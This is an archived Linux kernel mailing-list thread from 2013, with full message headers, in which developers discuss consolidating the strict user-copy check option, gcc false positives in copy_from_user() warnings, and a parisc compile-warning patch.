	id S1752275Ab3B0Ww6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:52:58 -0500
Original-Received: from wolverine01.qualcomm.com ([199.106.114.254]:21408 "EHLO
	wolverine01.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751672Ab3B0Ww5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:52:57 -0500
X-IronPort-AV: E=Sophos;i="4.84,751,1355126400"; 
   d="scan'208";a="26881918"
Original-Received: from pdmz-ns-snip_115_219.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.115.219])
  by wolverine01.qualcomm.com with ESMTP/TLS/DHE-RSA-AES256-SHA; 27 Feb 2013 14:52:57 -0800
Original-Received: from [10.46.166.8] (pdmz-ns-snip_218_1.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 24B6A10004B1;
	Wed, 27 Feb 2013 14:52:57 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3
In-Reply-To: <512E8664.3070903@zytor.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4839 gmane.linux.kernel:1448358
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4839>

On 02/27/13 14:19, H. Peter Anvin wrote:
> On 02/27/2013 12:42 PM, Stephen Boyd wrote:
>>> It's fine to do your patch as a first step though, which would not
>>> change the behavior.
>> A lot of arches seem to not want to enable it because false positives
>> are everywhere. It really depends on how good the compiler is at doing
>> constant propagation and dead code removal.
>>
> Although some of the cases I have seen being flagged as "false
> positives" have been real bugs.

There were so many false-positives on x86_64 that Andrew eventually
dropped my patch to add support for this option to the copy_from_user()
function there.

-- 
Qualcomm Innovation Center, Inc. is a member of Code Aurora Forum,
hosted by The Linux Foundation

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 14:52:57 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <512E8E49.3050206@zytor.com>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org> <512E8664.3070903@zytor.com> <20130228094510.3341017130e4476e046bdd22@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362005610 16782 80.91.229.3 (27 Feb 2013 22:53:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:53:30 +0000 (UTC)
Cc: Stephen Boyd <sboyd@codeaurora.org>, Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:53:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApsi-0007m1-AM
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:53:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757819Ab3B0Wx0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:53:26 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:58726 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751672Ab3B0Wx0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:53:26 -0500
Original-Received: from anacreon.sc.intel.com (jfdmzpr04-ext.jf.intel.com [134.134.137.73])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r1RMr25M015333
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 27 Feb 2013 14:53:03 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <20130228094510.3341017130e4476e046bdd22@canb.auug.org.au>
X-Enigmail-Version: 1.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4840 gmane.linux.kernel:1448359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4840>

On 02/27/2013 02:45 PM, Stephen Rothwell wrote:
> Hi all,
> 
> On Wed, 27 Feb 2013 14:19:16 -0800 "H. Peter Anvin" <hpa@zytor.com>
> wrote:
>> 
>> Although some of the cases I have seen being flagged as "false 
>> positives" have been real bugs.
> 
> [hijacking the thread :-)]
> 
> I have been getting this warning for a very long time ( which would
> be an error if CONFIG_DEBUG_STRICT_USER_COPY_CHECK was set):
> 
> i386 defconfig i386-linux-gcc (GCC) 4.6.3
> 
> In file included from arch/x86/include/asm/uaccess.h:537:0, from
> include/linux/uaccess.h:5, from include/linux/highmem.h:8, from
> include/linux/pagemap.h:10, from fs/binfmt_misc.c:27: 
> arch/x86/include/asm/uaccess_32.h: In function
> 'parse_command.part.2': arch/x86/include/asm/uaccess_32.h:211:26:
> warning: call to 'copy_from_user_overflow' declared with attribute
> warning: copy_from_user() buffer size is not provably correct
> [enabled by default]
> 

OK, that is surprising, because that copy is very clearly properly
guarded:

static int parse_command(const char __user *buffer, size_t count)
{
	char s[4];

	if (!count)
		return 0;
	if (count > 3)
		return -EINVAL;
	if (copy_from_user(s, buffer, count))
		return -EFAULT;

It isn't possible for count to be anything other than 1, 2 or 3 there,
and it is very surprising that gcc can't see it.

This might be worth filing a gcc bug for.

	-hpa

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 14:55:11 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <512E8ECF.1080307@zytor.com>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org> <512E8664.3070903@zytor.com> <512E8E48.8020007@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362005745 17928 80.91.229.3 (27 Feb 2013 22:55:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:55:45 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:56:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAput-0000JR-OO
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:56:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752403Ab3B0Wzm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:55:42 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:58759 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751672Ab3B0Wzl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:55:41 -0500
Original-Received: from anacreon.sc.intel.com (jfdmzpr04-ext.jf.intel.com [134.134.137.73])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r1RMtGXQ015953
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 27 Feb 2013 14:55:17 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <512E8E48.8020007@codeaurora.org>
X-Enigmail-Version: 1.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4841 gmane.linux.kernel:1448360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4841>

On 02/27/2013 02:52 PM, Stephen Boyd wrote:
> On 02/27/13 14:19, H. Peter Anvin wrote:
>> On 02/27/2013 12:42 PM, Stephen Boyd wrote:
>>>> It's fine to do your patch as a first step though, which would not
>>>> change the behavior.
>>> A lot of arches seem to not want to enable it because false positives
>>> are everywhere. It really depends on how good the compiler is at doing
>>> constant propagation and dead code removal.
>>>
>> Although some of the cases I have seen being flagged as "false
>> positives" have been real bugs.
> 
> There were so many false-positives on x86_64 that Andrew eventually
> dropped my patch to add support for this option to the copy_from_user()
> function there.
> 

I would probably have taken it, especially if it came with more x86-64
to i386 unification.

It's an option, though.

	-hpa

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjan van de Ven <arjan@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 14:56:09 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <512E8F09.2090003@linux.intel.com>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org> <512E8664.3070903@zytor.com> <20130228094510.3341017130e4476e046bdd22@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362005774 18195 80.91.229.3 (27 Feb 2013 22:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:56:14 +0000 (UTC)
Cc: "H. Peter Anvin" <hpa@zytor.com>,
	Stephen Boyd <sboyd@codeaurora.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:56:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApvN-0000ck-U4
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:56:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753383Ab3B0W4M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:56:12 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:3181 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751991Ab3B0W4L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:56:11 -0500
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP; 27 Feb 2013 14:56:10 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.84,751,1355126400"; 
   d="scan'208";a="296856134"
Original-Received: from avandeve-mobl.amr.corp.intel.com (HELO [10.24.1.6]) ([10.24.1.6])
  by fmsmga002.fm.intel.com with ESMTP; 27 Feb 2013 14:56:09 -0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3
In-Reply-To: <20130228094510.3341017130e4476e046bdd22@canb.auug.org.au>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4842 gmane.linux.kernel:1448361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4842>

On 2/27/2013 2:45 PM, Stephen Rothwell wrote:
> Hi all,
>
> On Wed, 27 Feb 2013 14:19:16 -0800 "H. Peter Anvin" <hpa@zytor.com> wrote:
>>
>> Although some of the cases I have seen being flagged as "false
>> positives" have been real bugs.
>
> [hijacking the thread :-)]
>
> I have been getting this warning for a very long time ( which would be an
> error if CONFIG_DEBUG_STRICT_USER_COPY_CHECK was set):
>
> i386 defconfig
> i386-linux-gcc (GCC) 4.6.3
>
> In file included from arch/x86/include/asm/uaccess.h:537:0,
>                   from include/linux/uaccess.h:5,
>                   from include/linux/highmem.h:8,
>                   from include/linux/pagemap.h:10,
>                   from fs/binfmt_misc.c:27:
> arch/x86/include/asm/uaccess_32.h: In function 'parse_command.part.2':
> arch/x86/include/asm/uaccess_32.h:211:26: warning: call to 'copy_from_user_overflow' declared with attribute warning: copy_from_user() buffer size is not provably correct [enabled by default]
>


http://gcc.gnu.org/bugzilla/show_bug.cgi?id=35392

the gcc folks finally fixed that one it seems

(but while there are some false positives, esp with older gcc, the majority were real originally.. just those all got fixed)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix compile warnings triggered by atomic_sub(sizeof(),v)
Date: Thu, 28 Feb 2013 00:09:05 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <5949791.xCBY7uv0Ms@donald.sf-tec.de>
References: <20130227221137.GA2806@p100.box> <20130227221552.GA2817@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3775036.HZBe2hny2s"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1362006553 24886 80.91.229.3 (27 Feb 2013 23:09:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 23:09:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 28 00:09:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAq7w-0006ai-7e
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Feb 2013 00:09:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758636Ab3B0XJK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 18:09:10 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45535 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758608Ab3B0XJK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 18:09:10 -0500
Original-Received: (qmail 27005 invoked from network); 27 Feb 2013 23:09:07 -0000
Original-Received: from dslb-178-003-246-189.pools.arcor-ip.net ([::ffff:178.3.246.189]:35249 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <deller@gmx.de>; Thu, 28 Feb 2013 00:09:07 +0100
User-Agent: KMail/4.9.5 (Linux/3.7.5-21-desktop; KDE/4.9.5; i686; ; )
In-Reply-To: <20130227221552.GA2817@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4843>


--nextPart3775036.HZBe2hny2s
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="utf-8"

Helge Deller wrote:

> atomic_sub() is defined as
> and if VAL is of type unsigned int (as returned by sizeof()), negating
> this value will overflow. Fix this by type-casting VAL to int type:

Something in the first line of the message seems missing.

Eike
--nextPart3775036.HZBe2hny2s
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlEukhcACgkQXKSJPmm5/E48uACfTp7yYg2s1WydQFuYZjN41UJT
wxQAoJ0gZPludkFQGK+yjQFdrB4L03gf
=01GF
-----END PGP SIGNATURE-----

--nextPart3775036.HZBe2hny2s--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 15:19:28 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <512E9480.7020306@codeaurora.org>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org> <512E8664.3070903@zytor.com> <512E8E48.8020007@codeaurora.org> <512E8ECF.1080307@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362007171 30816 80.91.229.3 (27 Feb 2013 23:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 23:19:31 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 28 00:19:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAqHv-0002XH-KU
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Feb 2013 00:19:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758639Ab3B0XTa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 18:19:30 -0500
Original-Received: from wolverine01.qualcomm.com ([199.106.114.254]:7189 "EHLO
	wolverine01.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758468Ab3B0XT3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 18:19:29 -0500
X-IronPort-AV: E=Sophos;i="4.84,751,1355126400"; 
   d="scan'208";a="26883958"
Original-Received: from pdmz-ns-snip_114_130.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.114.130])
  by wolverine01.qualcomm.com with ESMTP/TLS/DHE-RSA-AES256-SHA; 27 Feb 2013 15:19:29 -0800
Original-Received: from [10.46.166.8] (pdmz-ns-snip_218_1.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 0511210004B1;
	Wed, 27 Feb 2013 15:19:28 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3
In-Reply-To: <512E8ECF.1080307@zytor.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4844 gmane.linux.kernel:1448374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4844>

On 02/27/13 14:55, H. Peter Anvin wrote:
> On 02/27/2013 02:52 PM, Stephen Boyd wrote:
>> On 02/27/13 14:19, H. Peter Anvin wrote:
>>> On 02/27/2013 12:42 PM, Stephen Boyd wrote:
>>>>> It's fine to do your patch as a first step though, which would not
>>>>> change the behavior.
>>>> A lot of arches seem to not want to enable it because false positives
>>>> are everywhere. It really depends on how good the compiler is at doing
>>>> constant propagation and dead code removal.
>>>>
>>> Although some of the cases I have seen being flagged as "false
>>> positives" have been real bugs.
>> There were so many false-positives on x86_64 that Andrew eventually
>> dropped my patch to add support for this option to the copy_from_user()
>> function there.
>>
> I would probably have taken it, especially if it came with more x86-64
> to i386 unification.
>
> It's an option, though.

You acked the patch[1]. Will you pick it up?

[1] https://patchwork.kernel.org/patch/833192/

-- 
Qualcomm Innovation Center, Inc. is a member of Code Aurora Forum,
hosted by The Linux Foundation

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 15:21:06 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <512E94E2.50809@zytor.com>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org> <512E8664.3070903@zytor.com> <512E8E48.8020007@codeaurora.org> <512E8ECF.1080307@zytor.com> <512E9480.7020306@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362007307 31970 80.91.229.3 (27 Feb 2013 23:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 23:21:47 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 28 00:22:07 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAqK6-0003UB-Ir
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Feb 2013 00:22:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758399Ab3B0XVo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 18:21:44 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:59003 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753109Ab3B0XVo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 18:21:44 -0500
Original-Received: from anacreon.sc.intel.com (fmdmzpr03-ext.fm.intel.com [192.55.54.38])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r1RNLC2x022595
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 27 Feb 2013 15:21:13 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <512E9480.7020306@codeaurora.org>
X-Enigmail-Version: 1.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4845 gmane.linux.kernel:1448375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4845>

On 02/27/2013 03:19 PM, Stephen Boyd wrote:
> On 02/27/13 14:55, H. Peter Anvin wrote:
>> On 02/27/2013 02:52 PM, Stephen Boyd wrote:
>>> On 02/27/13 14:19, H. Peter Anvin wrote:
>>>> On 02/27/2013 12:42 PM, Stephen Boyd wrote:
>>>>>> It's fine to do your patch as a first step though, which would not
>>>>>> change the behavior.
>>>>> A lot of arches seem to not want to enable it because false positives
>>>>> are everywhere. It really depends on how good the compiler is at doing
>>>>> constant propagation and dead code removal.
>>>>>
>>>> Although some of the cases I have seen being flagged as "false
>>>> positives" have been real bugs.
>>> There were so many false-positives on x86_64 that Andrew eventually
>>> dropped my patch to add support for this option to the copy_from_user()
>>> function there.
>>>
>> I would probably have taken it, especially if it came with more x86-64
>> to i386 unification.
>>
>> It's an option, though.
> 
> You acked the patch[1]. Will you pick it up?
> 
> [1] https://patchwork.kernel.org/patch/833192/
> 

